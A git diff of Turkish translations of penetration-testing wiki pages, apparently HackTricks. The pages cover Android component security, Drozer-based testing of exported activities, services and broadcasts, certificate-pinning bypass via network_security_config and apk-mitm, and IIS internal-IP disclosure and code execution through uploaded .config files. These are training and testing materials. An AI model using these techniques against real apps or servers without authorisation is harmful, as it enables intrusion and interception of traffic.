"Intent çözümleme" süreci, her mesajın hangi uygulama tarafından alınacağını belirler. Bu süreç, **priority attribute**'unu dikkate alır; bu, i**ntent-filter bildirimi** içinde ayarlanabilir ve **daha yüksek önceliğe sahip olan seçilecektir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Bir **çelişki** ortaya çıkarsa, **kullanıcının karar verebilmesi için** bir "chooser" penceresi görünür.
"Intent çözümleme" süreci, her mesajın hangi uygulama tarafından alınacağını belirler. Bu süreç, **priority attribute**'unu dikkate alır; bu, i**ntent-filter bildirimi** içinde ayarlanabilir ve **daha yüksek önceliğe sahip olan seçilecektir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Eğer bir **çelişki** oluşursa, **kullanıcının karar verebileceği** bir "chooser" penceresi görünür.
### Açık Intents
ık bir intent, hedeflediği sınıf adını belirtir:
ık bir intent, hedef aldığı sınıf adını belirtir:
```java
Intent downloadIntent = new (this, DownloadService.class):
```
@ -161,11 +161,11 @@ context.startService(intent);
```
### Pending Intents
Bunlar, diğer uygulamaların **uygulamanız adına eylemler gerçekleştirmesine** olanak tanır ve uygulamanızın kimliğini ve izinlerini kullanır. Bir Pending Intent oluştururken, **bir intent ve gerçekleştirilecek eylem belirtilmelidir**. Eğer **belirtilen intent Açık Değilse** (hangi intent'in çağrılabileceğini belirtmiyorsa), **kötü niyetli bir uygulama, kurban uygulama adına belirtilen eylemi gerçekleştirebilir**. Ayrıca, **bir eylem belirtilmezse**, kötü niyetli uygulama **kurban adına herhangi bir eylem gerçekleştirebilir**.
Bunlar diğer uygulamaların **uygulamanız adına eylemler gerçekleştirmesine** olanak tanır, uygulamanızın kimliği ve izinlerini kullanarak. Bir Pending Intent oluştururken **bir intent ve gerçekleştirilecek eylem belirtilmelidir**. Eğer **belirtilen intent Açık Değilse** (hangi intentin çağrılabileceğini belirtmiyorsa) **kötü niyetli bir uygulama, mağdur uygulama adına belirtilen eylemi gerçekleştirebilir**. Dahası, **bir eylem belirtilmemişse**, kötü niyetli uygulama **mağdur adına herhangi bir eylem gerçekleştirebilir**.
### Broadcast Intents
Önceki intent'lerin aksine, yalnızca bir uygulama tarafından alınan, broadcast intent'ler **birden fazla uygulama tarafından alınabilir**. Ancak, API sürüm 14'ten itibaren, mesajı alacak uygulamanın **belirtilmesi mümkündür**; bu, Intent.setPackage kullanılarak yapılır.
Önceki intentlerden farklı olarak, yalnızca bir uygulama tarafından alınan, broadcast intentler **birden fazla uygulama tarafından alınabilir**. Ancak, API sürüm 14'ten itibaren, mesajı alacak uygulamanın **belirtilmesi mümkündür**; bu, Intent.setPackage kullanılarak yapılır.
Alternatif olarak, **yayın gönderirken bir izin belirtmek de mümkündür**. Alıcı uygulamanın bu izne sahip olması gerekecektir.
@ -176,9 +176,9 @@ Ayrıca, **`LocalBroadCastManager`**'dan **`sendBroadcast`** fonksiyonunu kullan
### Sticky Broadcasts
Bu tür Yayınlar, **gönderildikten uzun süre sonra erişilebilir**.\
Bu tür Yayınlar **gönderildikten uzun süre sonra erişilebilir**.\
API seviye 21'de kullanımdan kaldırılmıştır ve **kullanılmaması önerilir**.\
**Herhangi bir uygulamanın verileri dinlemesine ve ayrıca değiştirmesine olanak tanır.**
**Herhangi bir uygulamanın verileri dinlemesine, aynı zamanda bunları değiştirmesine olanak tanır.**
"sticky" kelimesini içeren fonksiyonlar bulursanız, örneğin **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`**, **etkisini kontrol edin ve bunları kaldırmaya çalışın**.
@ -217,26 +217,26 @@ HTML sayfaları kullanmadan [derin bağlantıları nasıl çağıracağınızı
## AIDL - Android Arayüz Tanım Dili
**Android Arayüz Tanım Dili (AIDL)**, Android uygulamalarında **işlem arası iletişim** (IPC) yoluyla istemci ve hizmet arasında iletişimi kolaylaştırmak için tasarlanmıştır. Android'de başka bir işlemin belleğine doğrudan erişim izni verilmediğinden, AIDL, nesneleri işletim sistemi tarafından anlaşılan bir formata marşal ederek süreci basitleştirir ve böylece farklı işlemler arasında iletişimi kolaylaştırır.
**Android Arayüz Tanım Dili (AIDL)**, Android uygulamalarında istemci ve hizmet arasında **işlem arası iletişim** (IPC) sağlamak için tasarlanmıştır. Android'de başka bir işlemin belleğine doğrudan erişim izni verilmediğinden, AIDL, nesneleri işletim sistemi tarafından anlaşılan bir formata marşallayarak, farklı işlemler arasında iletişimi kolaylaştırır.
### Temel Kavramlar
- **Bağlı Hizmetler**: Bu hizmetler IPC için AIDL kullanır, etkinliklerin veya bileşenlerin bir hizmete bağlanmasına, isteklerde bulunmasına ve yanıt almasına olanak tanır. Hizmetin sınıfındaki `onBind` metodu, etkileşimi başlatmak için kritik öneme sahiptir ve güvenlik incelemesi için zafiyet arayışında önemli bir alan olarak işaretlenmelidir.
- **Bağlı Hizmetler**: Bu hizmetler IPC için AIDL kullanır, aktivitelerin veya bileşenlerin bir hizmete bağlanmasına, isteklerde bulunmasına ve yanıt almasına olanak tanır. Hizmetin sınıfındaki `onBind` metodu, etkileşimi başlatmak için kritik öneme sahiptir ve güvenlik incelemesi için zafiyet arayışında önemli bir alan olarak işaretlenmelidir.
- **Messenger**: Bağlı bir hizmet olarak çalışan Messenger, `onBind` metodunu kullanarak veri işleme odaklı IPC'yi kolaylaştırır. Bu metodun, güvensiz veri işleme veya hassas fonksiyonların yürütülmesi açısından dikkatlice incelenmesi önemlidir.
- **Messenger**: Bağlı bir hizmet olarak çalışan Messenger, `onBind` metodu aracılığıyla veri işleme odaklı IPC'yi kolaylaştırır. Bu metodun, güvensiz veri işleme veya hassas fonksiyonların yürütülmesi açısından dikkatlice incelenmesi önemlidir.
- **Binder**: Binder sınıfının doğrudan kullanımı AIDL'in soyutlaması nedeniyle daha az yaygın olsa da, Binder'ın farklı işlemlerin bellek alanları arasında veri transferini kolaylaştıran bir çekirdek düzeyinde sürücü olarak işlev gördüğünü anlamak faydalıdır. Daha fazla bilgi için [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) adresine başvurabilirsiniz.
- **Binder**: Binder sınıfının doğrudan kullanımı AIDL'in soyutlaması nedeniyle daha az yaygın olsa da, Binder'ın farklı işlemlerin bellek alanları arasında veri transferini kolaylaştıran bir çekirdek düzeyinde sürücü olduğunu anlamak faydalıdır. Daha fazla bilgi için [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) adresine başvurabilirsiniz.
## Bileşenler
Bunlar: **Etkinlikler, Hizmetler, Yayın Alıcıları ve Sağlayıcılar.**
Bunlar: **Aktiviteler, Hizmetler, Yayın Alıcıları ve Sağlayıcılar.**
### Başlatıcı Etkinlik ve diğer etkinlikler
### Başlatıcı Aktivite ve diğer aktiviteler
Android uygulamalarında, **etkinlikler** ekranlar gibidir ve uygulamanın kullanıcı arayüzünün farklı bölümlerini gösterir. Bir uygulama birçok etkinliğe sahip olabilir, her biri kullanıcıya benzersiz bir ekran sunar.
Android uygulamalarında, **aktiviteler** ekranlar gibidir ve uygulamanın kullanıcı arayüzünün farklı bölümlerini gösterir. Bir uygulama birçok aktiviteye sahip olabilir, her biri kullanıcıya benzersiz bir ekran sunar.
**Başlatıcı etkinlik**, bir uygulamanın simgesine dokunduğunuzda başlatılan uygulamanın ana kapısıdır. Uygulamanın manifest dosyasında belirli MAIN ve LAUNCHER niyetleri ile tanımlanmıştır:
```markup
**Başlatıcı aktivite**, bir uygulamanın simgesine dokunduğunuzda başlatılan ana geçittir. Uygulamanın manifest dosyasında belirli MAIN ve LAUNCHER niyetleri ile tanımlanmıştır:
```html
<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
@ -246,11 +246,11 @@ Android uygulamalarında, **etkinlikler** ekranlar gibidir ve uygulamanın kulla
```
Tüm uygulamaların bir başlatıcı aktiviteye ihtiyacı yoktur, özellikle kullanıcı arayüzü olmayanlar, arka plan hizmetleri gibi.
Aktiviteler, manifestte "exported" olarak işaretlenerek diğer uygulamalara veya süreçlere sunulabilir. Bu ayar, diğer uygulamaların bu aktiviteyi başlatmasına izin verir:
Aktiviteler, manifestoda "exported" olarak işaretlenerek diğer uygulamalara veya süreçlere sunulabilir. Bu ayar, diğer uygulamaların bu aktiviteyi başlatmasına izin verir:
```markdown
<service android:name=".ExampleExportedService" android:exported="true"/>
```
Ancak, başka bir uygulamadan bir aktiviteye erişmek her zaman bir güvenlik riski değildir. Hassas verilerin yanlış bir şekilde paylaşılması durumunda endişe ortaya çıkar; bu, bilgi sızıntılarına yol açabilir.
Ancak, başka bir uygulamadan bir aktiviteye erişmek her zaman bir güvenlik riski değildir. Hassas verilerin yanlış bir şekilde paylaşılması durumunda endişe ortaya çıkar, bu da bilgi sızıntılarına yol açabilir.
Bir aktivitenin yaşam döngüsü **onCreate yöntemi ile başlar**, UI'yı kurar ve aktiviteyi kullanıcı ile etkileşim için hazırlar.
@ -274,9 +274,9 @@ super.onCreate();
```
### Services
[Services](https://developer.android.com/guide/components/services) **arka plan operatifleri** olarak, kullanıcı arayüzü olmadan görevleri yerine getirebilen birimlere sahiptir. Bu görevler, kullanıcılar farklı uygulamalara geçse bile çalışmaya devam edebilir, bu da hizmetleri **uzun süreli işlemler** için kritik hale getirir.
[Services](https://developer.android.com/guide/components/services) **arka plan operatifleri** olarak, kullanıcı arayüzü olmadan görevleri yerine getirebilen birimlere denir. Bu görevler, kullanıcılar farklı uygulamalara geçse bile çalışmaya devam edebilir, bu da hizmetleri **uzun süreli işlemler** için kritik hale getirir.
Hizmetler çok yönlüdür; çeşitli şekillerde başlatılabilirler, **Intents** bunları bir uygulamanın giriş noktası olarak başlatmanın birincil yöntemidir. Bir hizmet `startService` yöntemi kullanılarak başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir hizmetin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi hizmete bağlamak için `bindService` yöntemi kullanılır ve veri geçişi için `onBind` yöntemi devreye girer.
Hizmetler çok yönlüdür; çeşitli şekillerde başlatılabilirler, **Intents** bunları başlatmanın birincil yöntemidir ve bir uygulamanın giriş noktası olarak kullanılır. Bir hizmet `startService` yöntemi ile başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir hizmetin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi hizmete bağlamak için `bindService` yöntemi kullanılır ve veri geçişi için `onBind` yöntemi devreye girer.
Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya kullanıcıların bir uygulama ile etkileşimini engellemeden ağ verisi alma gibi işlemlerdir. Ayrıca, hizmetler **dışa aktarma** yoluyla aynı cihazdaki diğer süreçlere erişilebilir hale getirilebilir. Bu, varsayılan bir davranış değildir ve Android Manifest dosyasında açık bir yapılandırma gerektirir:
```xml
@ -284,21 +284,21 @@ Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya kullanıcıl
```
### Broadcast Receivers
**Broadcast receivers** bir mesajlaşma sisteminde dinleyici olarak işlev görür, böylece birden fazla uygulama sistemden gelen aynı mesajlara yanıt verebilir. Bir uygulama **iki ana yolla** **bir alıcı kaydedebilir**: uygulamanın **Manifest** dosyası aracılığıyla veya uygulamanın kodu içinde **dinamik olarak** **`registerReceiver`** API'si ile. Manifest'te, yayınlar izinlerle filtrelenirken, dinamik olarak kaydedilen alıcılar kaydedilme sırasında izinleri de belirtebilir.
**Broadcast receivers** mesajlaşma sisteminde dinleyici olarak işlev görür, böylece birden fazla uygulama sistemden gelen aynı mesajlara yanıt verebilir. Bir uygulama **iki ana yolla** **bir alıcı kaydedebilir**: uygulamanın **Manifest** dosyası aracılığıyla veya uygulama kodu içinde **dinamik olarak** **`registerReceiver`** API'si ile. Manifest'te, yayınlar izinlerle filtrelenirken, dinamik olarak kaydedilen alıcılar kaydedilme sırasında izinleri de belirtebilir.
**Intent filtreleri**, her iki kayıt yönteminde de kritik öneme sahiptir ve hangi yayınların alıcıyı tetikleyeceğini belirler. Eşleşen bir yayın gönderildiğinde, alıcının **`onReceive`** metodu çağrılır, bu da uygulamanın düşük pil uyarısına yanıt olarak davranışını ayarlamasını sağlar.
Yayınlar ya **asenkron** olabilir, tüm alıcılara sırasız ulaşır, ya da **senkron** olabilir, burada alıcılar belirlenen önceliklere göre yayını alır. Ancak, herhangi bir uygulamanın kendisini önceliklendirebileceği ve bir yayını kesebileceği potansiyel güvenlik riskini not etmek önemlidir.
Yayınlar **asenkron** olabilir, tüm alıcılara sırasız ulaşır, veya **senkron** olabilir, burada alıcılar belirlenen önceliklere göre yayını alır. Ancak, herhangi bir uygulamanın kendisini önceliklendirebileceği ve bir yayını kesebileceği potansiyel güvenlik riskini not etmek önemlidir.
Bir alıcının işlevselliğini anlamak için, sınıfı içinde **`onReceive`** metodunu arayın. Bu metodun kodu, alınan Intent'i manipüle edebilir ve alıcıların veri doğrulama ihtiyacını vurgular, özellikle **Sıralı Yayınlar**'da, bu Intent'i değiştirebilir veya atlayabilir.
Bir alıcının işlevselliğini anlamak için, sınıfı içinde **`onReceive`** metodunu arayın. Bu metodun kodu, alınan Intent'i manipüle edebilir ve alıcıların veri doğrulama ihtiyacını vurgular, özellikle **Sıralı Yayınlar**'da, bu Intent'i değiştirebilir veya düşürebilir.
### Content Provider
**Content Providers**, uygulamalar arasında **yapılandırılmış verilerin paylaşımı** için esastır ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. Uygulamaların veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan verilere erişmesine olanak tanır. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için kritik öneme sahiptir. Ayrıca, uygulamanın manifestinde **`grantUriPermission`** ayarları aracılığıyla geçici erişim sağlanabilir ve `path`, `pathPrefix` ve `pathPattern` gibi nitelikler kullanılarak ayrıntılı erişim kontrolü yapılabilir.
**Content Providers**, uygulamalar arasında **yapılandırılmış verilerin paylaşımı** için esastır ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. Uygulamaların veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan veri erişmesine olanak tanır. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için kritik öneme sahiptir. Ayrıca, uygulamanın manifestinde **`grantUriPermission`** ayarları aracılığıyla geçici erişim sağlanabilir ve `path`, `pathPrefix` ve `pathPattern` gibi nitelikler kullanılarak ayrıntılı erişim kontrolü yapılabilir.
Girdi doğrulaması, SQL enjeksiyonu gibi güvenlik açıklarını önlemek için son derece önemlidir. Content Providers, veri manipülasyonu ve uygulamalar arasında paylaşımı kolaylaştıran temel işlemleri destekler: `insert()`, `update()`, `delete()`, ve `query()`.
Girdi doğrulaması, SQL enjeksiyonu gibi güvenlik açıklarını önlemek için son derece önemlidir. Content Providers temel işlemleri destekler: `insert()`, `update()`, `delete()`, ve `query()`, bu da uygulamalar arasında veri manipülasyonu ve paylaşımını kolaylaştırır.
**FileProvider**, dosyaları güvenli bir şekilde paylaşmaya odaklanan özel bir Content Provider'dır. Erişimi kontrol etmek için belirli niteliklerle uygulamanın manifestinde tanımlanır ve klasör yapılandırmalarını gösteren `android:exported` ve `android:resource` ile belirtilir. Hassas verilerin yanlışlıkla ifşa edilmesini önlemek için dizinleri paylaşırken dikkatli olunması önerilir.
**FileProvider**, dosyaları güvenli bir şekilde paylaşmaya odaklanan özel bir Content Provider'dır. Erişimi kontrol etmek için belirli niteliklerle uygulamanın manifestinde tanımlanır; bu nitelikler `android:exported` ve klasör yapılandırmalarını gösteren `android:resource` ile belirtilir. Hassas verilerin yanlışlıkla ifşa edilmesini önlemek için dizinleri paylaşırken dikkatli olunmalıdır.
FileProvider için örnek manifest bildirimi:
```xml
@ -323,7 +323,7 @@ Daha fazla bilgi için kontrol edin:
## WebViews
WebView'ler, Android uygulamaları içinde **mini web tarayıcıları** gibidir, içerikleri ya webden ya da yerel dosyalardan çeker. Normal tarayıcılarla benzer risklerle karşılaşırlar, ancak belirli **ayarlar** aracılığıyla bu **riskleri azaltmanın** yolları vardır.
WebViews, Android uygulamaları içinde **mini web tarayıcıları** gibidir ve içerikleri ya webden ya da yerel dosyalardan çeker. Normal tarayıcılarla benzer risklerle karşılaşırlar, ancak belirli **ayarlar** aracılığıyla bu **riskleri azaltmanın** yolları vardır.
Android, iki ana WebView türü sunar:
@ -332,15 +332,15 @@ Android, iki ana WebView türü sunar:
Önemli bir nokta, WebView tarayıcılarının cihazın ana tarayıcısıyla **çerez paylaşmamasıdır**.
İçerik yüklemek için `loadUrl`, `loadData` ve `loadDataWithBaseURL` gibi yöntemler mevcuttur. Bu URL'lerin veya dosyaların **kullanım için güvenli olduğundan** emin olmak kritik öneme sahiptir. Güvenlik ayarları `WebSettings` sınıfı aracılığıyla yönetilebilir. Örneğin, `setJavaScriptEnabled(false)` ile JavaScript'in devre dışı bırakılması, XSS saldırılarını önleyebilir.
İçerik yüklemek için `loadUrl`, `loadData` ve `loadDataWithBaseURL` gibi yöntemler mevcuttur. Bu URL'lerin veya dosyaların **kullanım için güvenli** olduğundan emin olmak kritik öneme sahiptir. Güvenlik ayarları `WebSettings` sınıfı aracılığıyla yönetilebilir. Örneğin, `setJavaScriptEnabled(false)` ile JavaScript'in devre dışı bırakılması, XSS saldırılarını önleyebilir.
JavaScript "Bridge", Java nesnelerinin JavaScript ile etkileşimde bulunmasına olanak tanır ve Android 4.2'den itibaren güvenlik için yöntemlerin `@JavascriptInterface` ile işaretlenmesi gerekmektedir.
İçerik erişimine izin vermek (`setAllowContentAccess(true)`), WebView'lerin Content Providers'a ulaşmasına olanak tanır, bu da içerik URL'leri güvenli olarak doğrulanmadıkça bir risk oluşturabilir.
İçerik erişimine izin vermek (`setAllowContentAccess(true)`), WebView'ların Content Providers'a ulaşmasına olanak tanır; bu, içerik URL'leri güvenli olarak doğrulanmadıkça bir risk oluşturabilir.
Dosya erişimini kontrol etmek için:
- Dosya erişimini devre dışı bırakmak (`setAllowFileAccess(false)`), dosya sistemine erişimi sınırlar, belirli varlıklar için istisnalarla, bunların yalnızca hassas olmayan içerikler için kullanılmasını sağlar.
- Dosya erişimini devre dışı bırakmak (`setAllowFileAccess(false)`), dosya sistemine erişimi sınırlar; belirli varlıklar için istisnalarla, yalnızca hassas olmayan içerikler için kullanılmasını sağlar.
## Diğer Uygulama Bileşenleri ve Mobil Cihaz Yönetimi
@ -348,13 +348,13 @@ Dosya erişimini kontrol etmek için:
- **Dijital imzalama**, Android uygulamaları için zorunludur ve uygulamaların yüklemeden önce **gerçekten yazıldığı** garantisini sağlar. Bu süreç, uygulama kimliği için bir sertifika kullanır ve yükleme sırasında cihazın paket yöneticisi tarafından doğrulanmalıdır. Uygulamalar **kendinden imzalı veya harici bir CA tarafından sertifikalandırılmış** olabilir, yetkisiz erişime karşı koruma sağlar ve uygulamanın cihaza teslimatı sırasında değiştirilmediğini garanti eder.
### **Gelişmiş Güvenlik için Uygulama Doğrulaması**
### **Geliştirilmiş Güvenlik için Uygulama Doğrulaması**
- **Android 4.2**'den itibaren, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların yüklemeden önce uygulamaların güvenliğini kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar hakkında uyarabilir veya özellikle kötü niyetli olanların yüklenmesini engelleyebilir, kullanıcı güvenliğini artırır.
### **Mobil Cihaz Yönetimi (MDM)**
- **MDM çözümleri**, **Cihaz Yönetimi API'si** aracılığıyla mobil cihazlar için **denetim ve güvenlik** sağlar. Mobil cihazları etkili bir şekilde yönetmek ve güvence altına almak için bir Android uygulamasının yüklenmesini gerektirir. Ana işlevler arasında **şifre politikalarının uygulanması**, **depolama şifrelemesinin zorunlu kılınması** ve **uzaktan veri silme izni verme** bulunur, bu da mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar.
- **MDM çözümleri**, **Cihaz Yönetimi API'si** aracılığıyla mobil cihazlar için **denetim ve güvenlik** sağlar. Mobil cihazları etkili bir şekilde yönetmek ve güvence altına almak için bir Android uygulamasının yüklenmesini gerektirir. Ana işlevler arasında **şifre politikalarının uygulanması**, **depolama şifrelemesinin zorunlu kılınması** ve **uzaktan veri silme izni verme** bulunur; bu da mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);

View File

@ -2,18 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}}
## Test edilecek APK'lar
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs'dan)
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
**Bu eğitimin bazı bölümleri** [**Drozer belgeleri pdf'inden**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)** alınmıştır.**
**Bu eğitimin bazı bölümleri** [**Drozer belgeleri pdf'sinden**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)** alınmıştır.**
## Kurulum
Drozer Client'ı ana bilgisayarınıza kurun. En son sürümü [buradan](https://github.com/mwrlabs/drozer/releases) indirin.
Drozer Client'ı ana bilgisayarınıza kurun. [en son sürümlerden](https://github.com/mwrlabs/drozer/releases) indirin.
```bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
@ -29,11 +27,11 @@ Agent 31415 portunda çalışıyor, Drozer Client ve Agent arasında iletişimi
```bash
adb forward tcp:31415 tcp:31415
```
Son olarak, **uygulamayı** başlatın ve alt kısımdaki "**AÇ**" butonuna basın.
Son olarak, **uygulamayı** başlatın ve alt kısımdaki "**AÇIK**" butonuna basın.
![](<../../../images/image (459).png>)
Ve ona bağlanın:
Ve buna bağlanın:
```bash
drozer console connect
```
@ -43,13 +41,13 @@ drozer console connect
| --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Help MODULE** | Seçilen modülün yardımını gösterir |
| **list** | Mevcut oturumda çalıştırılabilen tüm drozer modüllerinin bir listesini gösterir. Bu, çalıştırmak için uygun izinlere sahip olmadığınız modülleri gizler. |
| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. |
| **clean** | Android cihazında drozer tarafından saklanan geçici dosyaları kaldırır. |
| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. |
| **clean** | Drozer tarafından Android cihazda saklanan geçici dosyaları kaldırır. |
| **load** | Drozer komutlarını içeren bir dosyayı yükler ve bunları sırayla çalıştırır. |
| **module** | İnternetten ek drozer modüllerini bulur ve yükler. |
| **unset** | Drozer'in oluşturduğu herhangi bir Linux kabuğuna geçirdiği adlandırılmış bir değişkeni kaldırır. |
| **unset** | Drozer'in oluşturduğu herhangi bir Linux kabuğuna geçirdiği adlandırılmış bir değişkeni kaldırır. |
| **set** | Drozer tarafından oluşturulan herhangi bir Linux kabuğuna çevresel değişken olarak geçirilecek bir değişkende bir değeri saklar. |
| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. |
| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. |
| **run MODULE** | Bir drozer modülünü çalıştırır |
| **exploit** | Drozer, cihazda çalıştırmak için istismarlar oluşturabilir. `drozer exploit list` |
| **payload** | İstismarların bir yükü olması gerekir. `drozer payload list` |
@ -85,7 +83,7 @@ Defines Permissions:
```bash
run app.package.manifest jakhar.aseem.diva
```
Paketin **saldırı yüzeyi**:
**Paketin saldırı yüzeyi:**
```bash
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
@ -103,7 +101,7 @@ is debuggable
### Etkinlikler
Bir dışa aktarılmış etkinlik bileşeninin “android:exported” değeri AndroidManifest.xml dosyasında **“true”** olarak ayarlanmıştır:
```markup
```html
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
```
@ -121,7 +119,7 @@ Belki bir etkinliği başlatabilir ve sizi başlatmaktan alıkoyması gereken bi
```bash
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
```
Ayrıca **adb** ile bir dışa aktarılan etkinliği başlatabilirsiniz:
Ayrıca **adb** üzerinden bir dışa aktarılan etkinliği başlatabilirsiniz:
- Paket Adı com.example.demo
- Dışa Aktarılan Etkinlik Adı com.example.test.MainActivity
@ -130,15 +128,15 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
```
### İçerik Sağlayıcıları
Bu gönderi burada yer alacak kadar büyük olduğu için **ona** [**kendi sayfasından buradan erişebilirsiniz**](exploiting-content-providers.md).
Bu gönderi burada yer alacak kadar büyük değil, bu yüzden **ulaşabilirsiniz** [**kendi sayfasında buradan**](exploiting-content-providers.md).
### Hizmetler
Dışa aktarılan bir hizmet, Manifest.xml içinde tanımlanır:
```markup
```html
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
```
Kodun içinde **check** fonksiyonunu **handleMessage** için kontrol edin, bu fonksiyon **message** alacaktır:
Kodun içinde **check** için \*\*`handleMessage`\*\* fonksiyonunu kontrol edin, bu fonksiyon **message** alacaktır:
![](<../../../images/image (82).png>)
@ -229,7 +227,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
### Debuggable mı
Bir üretim APK'sı asla debuggable olmamalıdır.\
Bu, çalışan uygulamaya **java debugger** ekleyebileceğiniz, çalışma zamanında inceleyebileceğiniz, kesme noktaları ayarlayabileceğiniz, adım adım ilerleyebileceğiniz, değişken değerlerini toplayabileceğiniz ve hatta bunları değiştirebileceğiniz anlamına gelir. [InfoSec institute'un harika bir makalesi var](../exploiting-a-debuggeable-applciation.md) uygulamanız debuggable olduğunda daha derinlemesine incelemek ve çalışma zamanı kodu enjekte etmek için.
Bu, çalışmakta olan uygulamaya **java debugger** ekleyebileceğiniz, çalışma zamanında inceleyebileceğiniz, kesme noktaları ayarlayabileceğiniz, adım adım ilerleyebileceğiniz, değişken değerlerini toplayabileceğiniz ve hatta bunları değiştirebileceğiniz anlamına gelir. [InfoSec institute'un harika bir makalesi var](../exploiting-a-debuggeable-applciation.md) uygulamanız debuggable olduğunda daha derinlemesine incelemek ve çalışma zamanı kodu enjekte etmek için.
Bir uygulama debuggable olduğunda, Manifest'te görünecektir:
```xml

View File

@ -4,7 +4,7 @@ Bazı uygulamalar kullanıcı tarafından indirilen sertifikaları sevmez, bu ne
# Otomatik
Araç [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) gerekli değişiklikleri **otomatik olarak** uygulamaya yapacak ve istekleri yakalamaya başlayacak ve ayrıca sertifika pinlemesini devre dışı bırakacaktır (varsa).
Araç [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) gerekli değişiklikleri **otomatik olarak** yapacak ve istekleri yakalamaya başlayacak ve ayrıca sertifika pinlemesini devre dışı bırakacaktır (varsa).
# Manuel
@ -12,7 +12,7 @@ Araç [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shrouded
![](../../images/img9.png)
Ardından **Manifest.xml** dosyasına gidiyoruz ve `<\application android>` etiketine kadar kaydırıyoruz ve eğer zaten yoksa aşağıdaki satırı ekleyeceğiz:
Ardından **Manifest.xml** dosyasına gidiyoruz ve `<\application android>` etiketine kadar kaydırıyoruz ve eğer yoksa aşağıdaki satırı ekleyeceğiz:
`android:networkSecurityConfig="@xml/network_security_config"`
@ -25,7 +25,7 @@ Eklendikten sonra:
![](../../images/img11.png)
Şimdi **res/xml** klasörüne gidin ve aşağıdaki içeriklerle network_security_config.xml adında bir dosya oluşturun/değiştirin:
```markup
```html
<network-security-config>
<base-config>
<trust-anchors>
@ -37,7 +37,7 @@ Eklendikten sonra:
</base-config>
</network-security-config>
```
Sonra dosyayı kaydedin ve tüm dizinlerden çıkın ve apk'yı aşağıdaki komutla yeniden oluşturun: `apktool b *folder-name/* -o *output-file.apk*`
Sonra dosyayı kaydedin ve tüm dizinlerden çıkın ve aşağıdaki komutla apk'yı yeniden oluşturun: `apktool b *folder-name/* -o *output-file.apk*`
![](../../images/img12.png)

View File

@ -11,7 +11,7 @@ Test edilebilir dosya uzantıları:
## Dahili IP Adresi ifşası
302 aldığınız herhangi bir IIS sunucusunda, Host başlığını kaldırmayı deneyebilir ve HTTP/1.0 kullanabilirsiniz; yanıtta Location başlığı size dahili IP adresini gösterebilir:
302 aldığınız herhangi bir IIS sunucusunda, Host başlığını kaldırmayı ve HTTP/1.0 kullanmayı deneyebilirsiniz ve yanıtın içinde Location başlığı size dahili IP adresini gösterebilir:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
@ -29,19 +29,19 @@ X-FEServer: NHEXCHANGE2016
```
## .config dosyalarını çalıştırma
.config dosyalarını yükleyebilir ve bunları kod çalıştırmak için kullanabilirsiniz. Bunu yapmanın bir yolu, dosyanın sonuna bir HTML yorumu içinde kod eklemektir: [Örneği buradan indirin](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
